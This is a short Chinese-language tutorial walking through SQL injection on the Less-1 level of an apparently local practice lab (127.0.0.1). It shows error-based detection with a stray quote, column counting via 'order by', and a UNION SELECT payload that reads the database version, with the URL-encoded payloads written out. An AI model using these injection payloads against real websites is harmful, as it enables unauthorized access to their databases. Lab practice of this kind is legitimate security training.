以Less-1为例
Less-1中存在SQL注入的语句:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
首先我们可以用id=1’来初步判断有没有SQL注入漏洞,出现了类似
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
这样的错误可以初步判断存在SQL注入漏洞,并且能很明显的看出这是一个MySQL类型的数据库
然后我们就可以判断当前使用的表有几列,http://127.0.0.1/Less-1/?id=1' order by 3%23
,发现使用正常
当http://127.0.0.1/Less-1/?id=1' order by 4%23
时发现有问题,所以可以知道当前使用的表有三列,然后再看看显示出来的是哪几列,http://127.0.0.1/Less-1/?id=-1’ union select 1,2,3%23,可以看到显示出来的是第2,3列,然后就可以开始执行自己想要的SQL语句了
http://127.0.0.1/Less-1/?id=-1%27%20union%20select%201,2,version()%23
设置id=’-1’,%27是’,将其设置错误就不会执行。然后接着嵌入后面的内容%20是空格,%23是注释符号#,也可以使用–+(在url中必须输入%23而不是‘#’)
原句就是
http://127.0.0.1/Less-1/?id=-1’ union select 1,2,version()%23
目的是让前面的逻辑为0